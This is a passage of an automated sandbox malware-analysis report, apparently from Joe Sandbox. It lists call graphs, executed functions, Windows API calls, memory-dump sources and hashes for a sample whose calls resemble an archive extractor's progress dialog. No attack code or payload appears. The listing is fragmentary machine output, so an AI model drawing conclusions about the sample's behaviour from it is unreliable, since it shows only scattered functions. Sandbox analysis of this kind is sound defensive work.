21814 401dbd 4 API calls 21812->21814 21812->21815 21813->21815 21814->21812 21815->21621 21816->21622 21817->21625 21818->21627 21820 40dc8c 21819->21820 21822 40dc6f 21819->21822 21820->21636 21822->21820 21858 401c33 21822->21858 21864 4020c6 free 21822->21864 21825 4025a5 2 API calls 21824->21825 21826 40dbae 21825->21826 21826->21636 21828 40d90c __EH_prolog 21827->21828 21866 40da03 21828->21866 21845 40dc27 __EH_prolog 21844->21845 21846 40209f 2 API calls 21845->21846 21847 40dc32 21846->21847 21848 40dc49 21847->21848 21890 40dc94 21847->21890 21849 401ce1 4 API calls 21848->21849 21851 40dc55 21849->21851 21851->21636 21853 401c70 __EH_prolog 21852->21853 21854 401c96 21853->21854 21903 41615a 21853->21903 21908 4020c6 free 21854->21908 21857 401c9d 21857->21636 21859 401c3d __EH_prolog 21858->21859 21860 401c66 ctype free 21859->21860 21861 401c50 21860->21861 21865 4020c6 free 21861->21865 21863 401c58 21863->21822 21864->21822 21865->21863 21867 40da0d __EH_prolog 21866->21867 21868 401ea7 free 21867->21868 21869 40da1f 21868->21869 21870 4025a5 2 API calls 21869->21870 21876 40da27 21870->21876 21871 40da80 21873 40da6e 21873->21871 21876->21871 21876->21873 21877 401dbd 4 API calls 21876->21877 21878 401ab2 4 API calls 21876->21878 21877->21876 21878->21876 21891 40dc9e __EH_prolog 21890->21891 21892 402678 2 API calls 21891->21892 21893 40dcc5 21892->21893 21896 40dce7 21893->21896 21909 40856d 21903->21909 21907 41616f 21907->21853 21908->21857 21915 4020c6 free 21909->21915 21911 408578 21916 4020c6 free 21911->21916 21913 40857f 21913->21907 21914 4020c6 free 21913->21914 21914->21907 21915->21911 21916->21913 22196->21758 22217 416ebe 22218 416ecb 22217->22218 22219 416edc 22217->22219 22218->22219 22223 416f04 22218->22223 22224 416f0e __EH_prolog 22223->22224 22232 4173ee 22224->22232 22231 4020c6 free 22231->22219 22237 4173f8 __EH_prolog 22232->22237 22234 416f24 22239 41739d 22234->22239 22235 417428 22269 4020c6 free 22235->22269 22237->22235 22253 41743f 22237->22253 22270 4020c6 free 22237->22270 22244 4173a7 __EH_prolog 22239->22244 22241 416f30 22246 416f51 22241->22246 22242 4173d7 22314 4020c6 free 22242->22314 22244->22242 22308 409e62 22244->22308 22313 4020c6 free 22244->22313 22315 4020c6 free 22246->22315 22248 416f5c 22316 4020c6 free 22248->22316 22250 416f64 22251 416dbd free 22250->22251 22252 416ed6 22251->22252 22252->22231 22254 417449 __EH_prolog 22253->22254 22271 407c68 22254->22271 22259 417347 free 22260 41747a 22259->22260 22285 4020c6 free 22260->22285 22262 417482 22286 4020c6 free 22262->22286 22264 41748a 22287 4174b8 22264->22287 22269->22234 22270->22237 22272 407c78 22271->22272 22273 407c7d 22271->22273 22274 426140 2 API calls 22272->22274 22275 407c93 22273->22275 22303 4260f0 WaitForSingleObject 22273->22303 22274->22273 22279 417556 22275->22279 22277 407c8c 22278 4260c0 ctype 2 API calls 22277->22278 22278->22275 22282 417560 __EH_prolog 22279->22282 22281 41746e 22281->22259 22283 417595 22282->22283 22305 4020c6 free 22282->22305 22304 4020c6 free 22283->22304 22285->22262 22286->22264 22288 4174c2 __EH_prolog 22287->22288 22289 407c68 5 API calls 22288->22289 22290 4174db 22289->22290 22291 4260c0 ctype 2 API calls 22290->22291 22292 4174e3 22291->22292 22293 4260c0 ctype 2 API calls 22292->22293 22294 4174eb 22293->22294 22295 4260c0 ctype 2 API calls 22294->22295 22296 417497 22295->22296 22297 417505 22296->22297 22298 41750f __EH_prolog 22297->22298 22306 4020c6 free 22298->22306 22300 417522 22307 4020c6 free 22300->22307 22302 4174ab 22302->22237 22303->22277 22304->22281 22305->22282 22306->22300 22307->22302 22309 4260c0 ctype 2 API calls 22308->22309 22310 409e6d 22309->22310 22311 4260c0 ctype 2 API calls 22310->22311 22312 409e75 22311->22312 22313->22244 22314->22241 22315->22248 22316->22250

                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                    Function 004162A8 Relevance: 9.7, APIs: 4, Strings: 1, Instructions: 922COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 004162AD
                                                                                                                                                                                                                                                                      • Part of subcall function 004196C5: _CxxThrowException.MSVCRT(?,0042D058), ref: 0041970E
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionH_prologThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 461045715-3916222277
                                                                                                                                                                                                                                                                    • Opcode ID: 1621f3cde89c3471dd426492dfd97afd9b1a6f74d3975f63f477629569232f90
                                                                                                                                                                                                                                                                    • Instruction ID: f8439c5a7b58f499ad6e70d5c58b39bd7d65b42cef54f5861571dc72613bfe2b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1621f3cde89c3471dd426492dfd97afd9b1a6f74d3975f63f477629569232f90
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 53829E30904259DFDB14DFA8C844AEEBBB5BF05304F15809EE815AB391DB78ED81CB55
                                                                                                                                                                                                                                                                    Function 0040C461 Relevance: 6.6, APIs: 4, Instructions: 648COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1124 40c461-40c4c4 call 4272c0 1127 40c4c6-40c4cd 1124->1127 1128 40c4cf-40c4d5 1124->1128 1129 40c4d8-40c4dd 1127->1129 1128->1129 1130 40c4e3-40c50d call 40406d call 4025a5 1129->1130 1131 40c577-40c57d 1129->1131 1148 40c53a-40c571 call 408ef2 call 4020c6 1130->1148 1149 40c50f-40c51f call 40409f 1130->1149 1132 40c594-40c59b 1131->1132 1133 40c57f-40c585 1131->1133 1138 40c5b3-40c5c7 call 40209f 1132->1138 1139 40c59d-40c5b1 1132->1139 1135 40c587 1133->1135 1136 40c58a-40c591 call 40209f 1133->1136 1135->1136 1136->1132 1146 40c5c9-40c5d2 call 40a075 1138->1146 1147 40c5fe 1138->1147 1139->1138 1152 40c600-40c60e 1146->1152 1147->1152 1148->1130 1148->1131 1158 40c524-40c526 1149->1158 1156 40c610-40c612 1152->1156 1157 40c616-40c67b 1152->1157 1156->1157 1162 40c6a9-40c6bb 1157->1162 1163 40c67d-40c691 1157->1163 1159 40c5d4-40c5e4 _CxxThrowException 1158->1159 1160 40c52c-40c534 1158->1160 1164 40c5e9-40c5f9 _CxxThrowException 1159->1164 1160->1148 1160->1164 1165 40c6c1-40c6c8 1162->1165 1166 40ca75-40ca79 1162->1166 1163->1162 1175 40c693-40c699 1163->1175 1164->1147 1168 40ca65-40ca6f 1165->1168 1169 40c6ce-40c6fa call 40406d call 4025a5 1165->1169 1170 40ca85-40ca99 1166->1170 1171 40ca7b-40ca7f 1166->1171 1168->1165 1168->1166 1194 40c6fc-40c70b 1169->1194 1195 40c70d-40c718 call 40409f 1169->1195 1185 40cc45-40cc57 1170->1185 1186 40ca9f-40caa5 1170->1186 1171->1170 1174 40cc83-40cd00 1171->1174 1176 40cd02-40cd04 1174->1176 1177 40cd08-40cd1b call 4020c6 * 2 1174->1177 1180 40c6a1-40c6a4 1175->1180 1181 40c69b-40c69d 1175->1181 1176->1177 1202 40cd1c-40cd2a 1177->1202 1182 40cc6a-40cc7e call 4020c6 * 2 1180->1182 1181->1180 1182->1202 1185->1174 1198 40cc59-40cc5f 1185->1198 1190 40caa7-40caa9 1186->1190 1191 40caad-40cab0 1186->1191 1190->1191 1191->1182 1199 40c733-40c750 1194->1199 1205 40c71d-40c71f 1195->1205 1203 40cc61-40cc63 1198->1203 1204 40cc67 1198->1204 1210 40cab5-40cac4 call 4020c6 1199->1210 1211 40c756-40c7db call 40cdc1 call 40d3e3 call 40cd2d call 402748 call 40fcac 1199->1211 1203->1204 1204->1182 1208 40cc30-40cc40 _CxxThrowException 1205->1208 1209 40c725-40c72d 1205->1209 1208->1185 1209->1199 1209->1208 1216 40cac6-40cac8 1210->1216 1217 40cacc-40cacf 1210->1217 1226 40c7ec-40c7f3 1211->1226 1227 40c7dd-40c7e3 1211->1227 1216->1217 1217->1182 1229 40c7f9-40c819 1226->1229 1230 40cad4-40cb0a call 4020c6 call 401bf3 call 40ce6d call 4020c6 1226->1230 1228 40c7e5 1227->1228 1227->1229 1228->1226 1234 40cb1c-40cb52 call 4020c6 call 401bf3 call 40ce6d call 4020c6 1229->1234 1235 40c81f-40c822 1229->1235 1276 40cb12-40cb17 1230->1276 1277 40cb0c-40cb0e 1230->1277 1299 40cb54-40cb56 1234->1299 1300 40cb5a-40cb5d 1234->1300 1238 40c893-40c89a 1235->1238 1239 40c824-40c82f 1235->1239 1241 40c8a0-40c8a6 1238->1241 1242 40c946-40c95d 1238->1242 1244 40ca31-40ca53 call 4020c6 call 401bf3 call 40ce6d 1239->1244 1245 40c835-40c861 call 40406d call 4025a5 call 40409f 1239->1245 1241->1242 1247 40c8ac-40c8c1 1241->1247 1248 40c96a 1242->1248 1249 40c95f-40c963 1242->1249 1288 40ca58-40ca64 call 4020c6 1244->1288 1301 40c882-40c88e call 4020c6 1245->1301 1302 40c863-40c86e 1245->1302 1254 40c8c3-40c8d9 call 40c418 1247->1254 1255 40c90e-40c912 1247->1255 1257 40c96c-40c9bc call 40ceda 1248->1257 1249->1248 1256 40c965-40c968 1249->1256 1279 40c8fa-40c906 1254->1279 1280 40c8db-40c8de 1254->1280 1255->1242 1267 40c914-40c91c 1255->1267 1256->1257 1271 40c9c1-40c9c6 1257->1271 1274 40c928-40c940 1267->1274 1275 40c91e 1267->1275 1281 40cba8-40cbde call 4020c6 call 401bf3 call 40ce6d call 4020c6 1271->1281 1282 40c9cc-40c9d3 1271->1282 1274->1242 1296 40cb62-40cb98 call 4020c6 call 401bf3 call 40ce6d call 4020c6 1274->1296 1285 40c920-40c922 1275->1285 1286 40c924-40c926 1275->1286 1276->1182 1277->1276 1279->1254 1290 40c908-40c90b 1279->1290 1280->1279 1289 40c8e0-40c8f7 1280->1289 1326 40cbe0-40cbe2 1281->1326 1327 40cbe6-40cbe9 1281->1327 1291 40c9f5-40c9f8 1282->1291 1292 40c9d5-40c9f3 1282->1292 1285->1274 1285->1286 1286->1274 1288->1168 1289->1279 1290->1255 1298 40c9fb-40ca2b 1291->1298 1292->1298 1332 40cba0-40cba3 1296->1332 1333 40cb9a-40cb9c 1296->1333 1298->1244 1306 40cbeb-40cc21 call 4020c6 call 401bf3 call 40ce6d call 4020c6 1298->1306 1299->1300 1300->1182 1301->1244 1302->1301 1305 40c870-40c87f 1302->1305 1305->1301 1335 40cc23-40cc25 1306->1335 1336 40cc29-40cc2e 1306->1336 1326->1327 1327->1182 1332->1182 1333->1332 1335->1336 1336->1182
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040C466
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D1A8), ref: 0040C5E4
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D1A8), ref: 0040CC40
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(0042BD58,0042D1A8), ref: 0040C5F9
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                      • Part of subcall function 0040CE6D: __EH_prolog.LIBCMT ref: 0040CE72
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1223536468-0
                                                                                                                                                                                                                                                                    • Opcode ID: 3a0da256cfa591a1086a3c429af119e30ab0919b7b67ad64d7f9aa5295126827
                                                                                                                                                                                                                                                                    • Instruction ID: 986557d91c0d9cd11c430d3ca71674d22bda22c4d30fc110b77df1fcd1134c3d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3a0da256cfa591a1086a3c429af119e30ab0919b7b67ad64d7f9aa5295126827
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DF521770900258DFCB25DF68C985ADDBBF1BF58304F2441AAE849B7292C7749E84CF59
                                                                                                                                                                                                                                                                    Function 00413449 Relevance: 6.1, APIs: 4, Instructions: 118comCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1384 413449-4135b7 call 4272c0 call 4025a5 * 11 call 413171 call 426180 1413 4135b9-4135c9 _CxxThrowException 1384->1413 1414 4135ce-4135dd call 426180 1384->1414 1413->1414 1417 4135f4-41360c CoCreateInstance 1414->1417 1418 4135df-4135ef _CxxThrowException 1414->1418 1419 413614-413624 1417->1419 1420 41360e-413610 1417->1420 1418->1417 1420->1419
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0041344E
                                                                                                                                                                                                                                                                      • Part of subcall function 00413171: __EH_prolog.LIBCMT ref: 00413176
                                                                                                                                                                                                                                                                      • Part of subcall function 00426180: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,004135B5,?,?,00000000,?,?,00415FEF,?,00000000,?,00415F9A), ref: 00426191
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D058), ref: 004135C9
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D058), ref: 004135EF
                                                                                                                                                                                                                                                                    • CoCreateInstance.OLE32(0042CC2C,00000000,00000001,0042B268,?,?,?,00000000,?,?,00415FEF,?,00000000,?,00415F9A), ref: 00413602
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateExceptionH_prologThrow$EventInstance
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2828082681-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2f636098ccc52404f5f12d9bd647e3b2e602e951336e59c29c2b7b545664dcdb
                                                                                                                                                                                                                                                                    • Instruction ID: 2bf4f64df81ca2de688e108d5926063c414e0af1040c3a071144f630d139a664
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2f636098ccc52404f5f12d9bd647e3b2e602e951336e59c29c2b7b545664dcdb
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2651B530505785EED321DF79C995BDAFBE0BF29304F84485ED4DA53282DBB86608CB29
                                                                                                                                                                                                                                                                    Function 00403E37 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00403E17: FindClose.KERNELBASE(?,?,00403E48), ref: 00403E22
                                                                                                                                                                                                                                                                    • FindFirstFileW.KERNELBASE(?,?), ref: 00403E56
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2295610775-0
                                                                                                                                                                                                                                                                    • Opcode ID: ee63bfe366631b6283930c23277e265c57fd103b123b342b22fbda5376c8f6c2
                                                                                                                                                                                                                                                                    • Instruction ID: a6219319653461e8a1b8c18bec83ceccf4cc8f2a83fb13bf136a5088fbfded39
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ee63bfe366631b6283930c23277e265c57fd103b123b342b22fbda5376c8f6c2
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 06E0123100011457CB20AF28CC859AA7B6DAF5135AF504376A855A72D1D6399F4A8BDD
                                                                                                                                                                                                                                                                    Function 00414124 Relevance: 37.4, APIs: 18, Strings: 3, Instructions: 608COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 0 414124-4141fe call 4272c0 EnterCriticalSection call 414930 * 3 9 414200-414204 0->9 10 414207-414225 LeaveCriticalSection GetTickCount 0->10 9->10 11 414232-414238 10->11 12 414227-414230 10->12 13 41423b-414240 11->13 12->13 14 414242-41424b 13->14 15 41424d-414253 13->15 16 414256-414262 14->16 15->16 17 414264-414273 16->17 18 4142ad-414301 call 414047 call 427490 16->18 20 414295-4142a8 call 413df0 call 413ea6 17->20 21 414275-41427a 17->21 30 414303-414309 18->30 31 41430b-414334 call 413f77 SetDlgItemTextW 18->31 20->18 21->20 24 41427c-41428b 21->24 24->18 25 41428d-414293 24->25 25->18 25->20 30->31 32 41433a-414342 30->32 31->32 35 414344-414348 32->35 36 41434e-414357 32->36 35->36 37 4147ee-4147f2 35->37 38 4143a2-4143a8 36->38 39 414359-41438d call 415111 call 40201f SetDlgItemTextW 36->39 41 4147f4-4147f6 call 414de8 37->41 42 4147fb-4147ff 37->42 43 414574-414583 38->43 44 4143ae-4143b9 38->44 39->38 78 41438f-41439d call 4137ef call 41378b 39->78 41->42 49 414801-41483b call 402678 call 414908 SetDlgItemTextW call 4020c6 42->49 50 41483c-414840 42->50 47 414585-414599 call 4275c0 43->47 48 4145a8-4145b4 43->48 51 4143e1-4143e8 44->51 52 4143bb-4143cd 44->52 47->48 79 41459b-4145a3 call 427490 47->79 58 4145b6-4145b9 48->58 59 4145bb-4145c0 48->59 49->50 53 4148f7-414905 50->53 54 414846-414865 call 4025a5 * 2 50->54 62 414419-41442f call 427490 51->62 63 4143ea 51->63 60 4143d3-4143df 52->60 61 41445a-41446a 52->61 101 414870-41487c call 402a3b 54->101 102 414867-41486e 54->102 58->59 73 4145c4-4145de call 40201f 58->73 59->73 74 41444f-414454 SetDlgItemTextW 60->74 71 414475 61->71 72 41446c-414473 61->72 85 414431-414434 62->85 86 414436-41444e call 413f77 62->86 64 4143f4-414414 call 41495a 63->64 65 4143ec-4143f2 63->65 64->62 65->62 65->64 81 414478-414499 call 4275c0 call 427490 71->81 72->81 92 4145e0-4145e9 73->92 93 41464f-41466d wcscmp 73->93 74->61 78->38 79->48 118 4144a2-4144a9 81->118 119 41449b-4144a0 81->119 85->61 85->86 86->74 99 4145f9-414611 92->99 100 4145eb 92->100 105 41468f-414697 93->105 106 41466f-414689 call 4026e4 SetDlgItemTextW 93->106 112 414613-414616 99->112 111 4145f1-4145f7 100->111 131 41489c-41489d 101->131 132 41487e-41489a call 4027a0 call 4026e4 101->132 113 4148a0 call 402748 102->113 108 4146a4-4146aa 105->108 109 414699-4146a2 105->109 106->105 117 4146ad-4146b2 108->117 109->117 111->99 111->111 120 414624-41462d 112->120 121 414618-414622 112->121 124 4148a5-4148f6 call 414908 * 2 call 4028ba call 40292d SetDlgItemTextW call 4020c6 * 2 113->124 125 4146b4-4146ba 117->125 126 4146bc-4146bf 117->126 128 4144bd-4144ca call 427580 118->128 119->118 127 4144ab-4144ad 119->127 129 41463d-41464a call 40201f 120->129 130 41462f 120->130 121->112 124->53 134 4146c2-4146c9 125->134 126->134 135 4144b6-4144bc 127->135 136 4144af-4144b4 127->136 148 4144e3-41450d call 40201f 128->148 149 4144cc-4144d8 128->149 129->93 138 414635-41463b 130->138 131->113 132->124 142 414705-414736 call 414047 * 2 134->142 143 4146cb-4146d4 134->143 135->128 136->128 136->135 138->129 138->138 168 4147e8-4147ec 142->168 169 41473c-414743 142->169 143->142 147 4146d6-414700 call 414047 * 2 143->147 147->168 162 41451d-41452a 148->162 163 41450f 148->163 149->148 154 4144da-4144dd 149->154 154->43 154->148 170 41453a-41456e SetDlgItemTextW 162->170 171 41452c-414539 162->171 167 414515-41451b 163->167 167->162 167->167 168->37 168->41 169->168 174 414749-41474d 169->174 170->43 171->170 174->168 176 414753-414779 call 4275c0 call 427490 174->176 185 414782-41479d call 40201f 176->185 186 41477b-414780 176->186 189 41479f 185->189 190 4147ae-4147c4 185->190 186->168 186->185 192 4147a5-4147ac 189->192 191 4147c5-4147c8 190->191 193 4147d6-4147e2 SetDlgItemTextW 191->193 194 4147ca-4147d4 191->194 192->190 192->192 193->168 194->191
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00414129
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(?,00000000), ref: 00414143
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 00414215
                                                                                                                                                                                                                                                                    • GetTickCount.KERNEL32 ref: 0041421B
                                                                                                                                                                                                                                                                    • __aulldiv.LIBCMT ref: 004142F0
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(000000FF,00000078,?), ref: 00414334
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(000000FF,0000007E,?), ref: 0041437A
                                                                                                                                                                                                                                                                    • __aulldiv.LIBCMT ref: 0041441E
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(000000FF,00000079,?), ref: 00414454
                                                                                                                                                                                                                                                                    • __aulldiv.LIBCMT ref: 0041448C
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(000000FF,0000007B,00000073), ref: 0041456E
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: GetDlgItem.USER32(000000FF,00000F42), ref: 00413803
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 0041381A
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: GetDlgItem.USER32(000000FF,0000007E), ref: 00413821
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 00413825
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: GetDlgItem.USER32(000000FF,00000065), ref: 0041382C
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 00413830
                                                                                                                                                                                                                                                                    • __aulldiv.LIBCMT ref: 004145A3
                                                                                                                                                                                                                                                                    • wcscmp.MSVCRT ref: 00414663
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(000000FF,0000006F,?), ref: 00414689
                                                                                                                                                                                                                                                                    • __aulldiv.LIBCMT ref: 00414766
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(000000FF,0000007D,?), ref: 004147E2
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(00000001,00000067,?), ref: 00414829
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(00000003,00000066,?), ref: 004148DF
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Item$Text$__aulldiv$ShowWindow$CriticalSection$CountEnterH_prologLeaveTickfreewcscmp
                                                                                                                                                                                                                                                                    • String ID: / $K$s
                                                                                                                                                                                                                                                                    • API String ID: 4873191-244442477
                                                                                                                                                                                                                                                                    • Opcode ID: 95086bbf52878b5c991fe514e93608ad2ef03b8eff0522f3a15e5483718e6d4f
                                                                                                                                                                                                                                                                    • Instruction ID: b4853784fe72c3c59fd1acdb4664ad09443dae480d3c5e52aa93a9af6507f86e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 95086bbf52878b5c991fe514e93608ad2ef03b8eff0522f3a15e5483718e6d4f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A142B130A003099FDF25DFA4C981BEEBBB5FF85304F14452EE16AA7291D7786985CB18
                                                                                                                                                                                                                                                                    Function 00413839 Relevance: 31.7, APIs: 21, Instructions: 202windowtimeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetParent.USER32(?), ref: 00413853
                                                                                                                                                                                                                                                                      • Part of subcall function 00405E12: SendMessageW.USER32(?,00001061,?,?), ref: 00405E3D
                                                                                                                                                                                                                                                                    • GetTickCount.KERNEL32 ref: 004138CD
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32 ref: 00413935
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000065), ref: 00413942
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00002005,00000001,00000000), ref: 0041395C
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000001BC), ref: 00413978
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000001BE), ref: 004139A9
